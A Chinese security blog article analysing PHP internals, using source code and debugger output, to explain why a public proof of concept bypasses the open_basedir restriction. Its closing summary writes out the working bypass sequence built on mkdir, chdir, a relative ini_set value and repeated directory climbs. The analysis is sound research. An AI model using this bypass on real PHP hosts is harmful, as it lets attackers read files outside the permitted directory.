从PHP底层看open_basedir bypass

一叶飘零 Web安全 2019年4月15日发布
Favorite收藏

导语:近日,有国外的大佬公开了一个php open_basedir bypass的poc,正好最近在看php底层,于是打算分析一下。

前言

2019-04-12-10-35-58.png

有国外的大佬近日公开了一个php open_basedir bypass的poc,正好最近在看php底层,于是打算分析一下。

poc测试

首先测试一下:

2019-04-12-10-38-27.png

我们用如上源码进行测试,首先设置open_basedir目录为/tmp目录,再尝试用ini_set设置open_basedir则无效果,我们对根目录进行列目录,发现无效,返回bool(false)。

我们再尝试一下该国外大佬的poc:

2019-04-12-10-49-22.png

发现可以成功列举根目录,bypass open_basedir。

那么为什么一系列操作后,就可以重设open_basedir了呢?我们一步一步从头探索。

ini_set覆盖问题探索

为什么连续使用ini_set不会对open_basedir进行覆盖呢?我们以如下代码为例:

<?php
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '/tmp');
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '/');
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '..');
var_dump(ini_get('open_basedir'));

运行后结果如下:

string(0) ""
string(4) "/tmp"
string(4) "/tmp"
string(4) "/tmp"

默认的open_basedir值本来是空,第一次设置成/tmp后,以为设置将不会覆盖。

我们来探索一下原因。首先找到php函数对应的底层函数:

ini_get : PHP_FUNCTION(ini_get)
ini_set : PHP_FUNCTION(ini_set)

这里我们主要看的是ini_set的流程,ini_get作为信息输出函数,我们不太关心。

我们先对ini_set下断点,然后再run程序:

b /php7.0-src/ext/standard/basic_functions.c 5350
r c.php

程序跑起来后,首先是3个初始值:

zend_string *varname;
zend_string *new_value;
char *old_value;

然后进入词法分析,得到3个变量值:

if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS", &varname, &new_value) == FAILURE) {
return;
}

我们可以看到

pwndbg> p *varname
$45 = {
  gc = {
    refcount = 0,
    u = {
      v = {
        type = 6 '\006',
        flags = 2 '\002',
        gc_info = 0
      },
      type_info = 518
    }
  },
  h = 15582417252668088432,
  len = 12,
  val = "o"
}

这是zend_string的结构体,也是php7的新增结构:

struct _zend_string {
    zend_refcounted_h gc; /*gc信息*/
    zend_ulong        h;  /* hash value */
    size_t            len; /*字符串长度*/
    char              val[1]; /*字符串起始地址*/
};

我们可以看到varname.val为:

pwndbg> p &varname.val
$46 = (char (*)[1]) 0x7ffff7064978
pwndbg> x/s $46
0x7ffff7064978:"open_basedir"

然后new_value.val为:

pwndbg> p &new_value.val
$48 = (char (*)[1]) 0x7ffff7058ad8
pwndbg> x/s $48
0x7ffff7058ad8:"/tmp"

即我们最开始传入的两个参数。

然后程序拿到原来的open_basedir的value:

2019-04-12-11-50-22.png

2019-04-12-11-50-14.png

然后会进入php_ini_check_path:

2019-04-12-11-33-24.png

由于第一次没有设置过open_basedir,所以直接跳出判断,进入下一步:

if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {
zval_dtor(return_value);
RETURN_FALSE;
}

我们跟进FAILURE,找到定义:

typedef enum {
  SUCCESS =  0,
  FAILURE = -1,/* this MUST stay a negative number, or it may affect functions! */
} ZEND_RESULT_CODE;

当zend_alter_ini_entry_ex的返回值不为-1时,即代表更新成功,否则则会进入if,返回false。

而经过比对发现:第一次设置open_basedir和第二次设置时候,正是这里的返回值不一样,第一次设置时,这里为SUCCESS,即0,而第二次设置为FAILURE,即-1,我们跟入zend_alter_ini_entry_ex进行比对:

b /php7.0-src/Zend/zend_ini.c:330

发现两次不同的点在于如下判断:

if (!ini_entry->on_modify
|| ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS)

第一次时:

ini_entry->on_modify = 0x5d046e <OnUpdateBaseDir>
ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = 0

第二次时:

ini_entry->on_modify :0x5d046e <OnUpdateBaseDir>
ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = -1

可以确定是on_modify,那么我们单步跟进,到达:

PHPAPI ZEND_INI_MH(OnUpdateBaseDir)

发现在进行如下操作时,返回FAILURE:

if (php_check_open_basedir_ex(ptr, 0) != 0) {
/* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */
efree(pathbuf);
return FAILURE;
}

正是php_check_open_basedir_ex()未通过才导致我们ini_set失败,而第一次的时候,这里是通过的。

所以最后的问题落在`php_check_open_basedir_ex`上,如果想要利用ini_set覆盖之前的open_basedir,那么必须通过该校验。

php_check_open_basedir_ex

找到切入点后,后面就是进行分析,看如何bypass php_check_open_basedir_ex。

我们源码跟进这个函数:

if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}
#define MAXPATHLEN      PATH_MAX
#define PATH_MAX                 1024   /* max bytes in pathname */

首先判断路径是否过长,是否超过1023。

然后是另一个校验函数:

if (php_check_specific_open_basedir(ptr, path) == 0) {
    efree(pathbuf);
    return 0;
}

跟进后,该函数首先进行了操作:

if (strcmp(basedir, ".") || !VCWD_GETCWD(local_open_basedir, MAXPATHLEN)) {
/* Else use the unmodified path */
strlcpy(local_open_basedir, basedir, sizeof(local_open_basedir));
}

比对当前目录,并赋值给local_open_basedir,然后继续看目录名长度是否合法:

path_len = strlen(path);
if (path_len > (MAXPATHLEN - 1)) {
    /* empty and too long paths are invalid */
    return -1;
}

然后进入操作:

if (expand_filepath(path, resolved_name) == NULL) {
return -1;
}
PHPAPI char *expand_filepath(const char *filepath, char *real_path)
{
return expand_filepath_ex(filepath, real_path, NULL, 0);
}

将传入的path,用绝对路径保存在resolved_name。

然后操作继续进入判断:

if (expand_filepath(local_open_basedir, resolved_basedir) != NULL)

将local_open_basedir的值存放于resolved_basedir,用于后面的比较:

if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) 
{
    if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {return -1;} 
    else {
/* File is in the right directory */
return 0;
        }
}
else {
/* /openbasedir/ and /openbasedir are the same directory */
    if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR) 
    {            
        if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0) 
        {
            if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0) 
            {
                return 0;
            }
        }
        return -1;
    }
}

上述操作正是在匹配路径是否是open_basedir规定的路径。

那么不难发现,可控点应该就要追溯到之前的:

expand_filepath()

因为关键路径resolved_name和resolved_basedir均由这个函数生成。

所以要bypass php_check_open_basedir_ex的关键,在于bypass expand_filepath()。其获取到的path才是真正用来比对的path。

expand_filepath()

我们跟进至:

PHPAPI char *expand_filepath(const char *filepath, char *real_path)
{
return expand_filepath_ex(filepath, real_path, NULL, 0);
}

继续跟expand_filepath_ex:

PHPAPI char *expand_filepath_ex(const char *filepath, char *real_path, const char *relative_to, size_t relative_to_len)
{
return expand_filepath_with_mode(filepath, real_path, relative_to, relative_to_len, CWD_FILEPATH);
}

再跟expand_filepath_with_mode,来到关键操作位置:

if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) {
efree(new_state.cwd);
return NULL;
}

跟入virtual_file_ex得到关键语句:

if (!IS_ABSOLUTE_PATH(path, path_length)) {
if (state->cwd_length == 0) {
/* resolve relative path */
start = 0;
memcpy(resolved_path , path, path_length + 1);
} else {
int state_cwd_length = state->cwd_length;
           ......
        state->cwd_length = path_length;
           ......
        memcpy(state->cwd, resolved_path, state->cwd_length+1);

即目录拼接操作,如果path不是绝对路径,同时`state->cwd`长度为0,那么直接将path作为绝对路径,保存在resolved_path。否则则在state->cwd后拼接。

那么可以落点于path_length,这决定了我们拼接的长度:

path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);

跟进tsrm_realpath_r,不难发现主要操作用于:

remove double slashes and '.'
remove '..' and previous directory

那么最后可以总结expand_filepath()全身心的投入在相对路径和绝对路径,没有考虑open_basedir如果为相对路径会实时变化的问题。

总结

所以最后的bypass poc也变得非常清楚:

首先需要构造一个相对可上跳的open_basedir:

mkdir('sky');
chdir('sky');
ini_set('open_basedir','..');

这也是为什么要先创文件夹的原因,就是为了在当前目录构造可以..的ini_set。

然后每次目录操作:

chdir('..');

都会进行一次open_basedir的比对,即php_check_open_basedir_ex。由于相对路径的问题,每次open_basedir的补全都会上跳。

比如初试open_basedir为/a/b/c/d:

第一次chdir后变为/a/b/c,

第二次chdir后变为/a/b,

第三次chdir后变为/a,

第四次chdir后变为/,

那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。

后记

这个poc还是很巧妙的,重点在于构造出相对路径的open_basedir,再触发其进行上跳!

本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址: https://www.4hou.com/web/17357.html
点赞 4
PHP
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论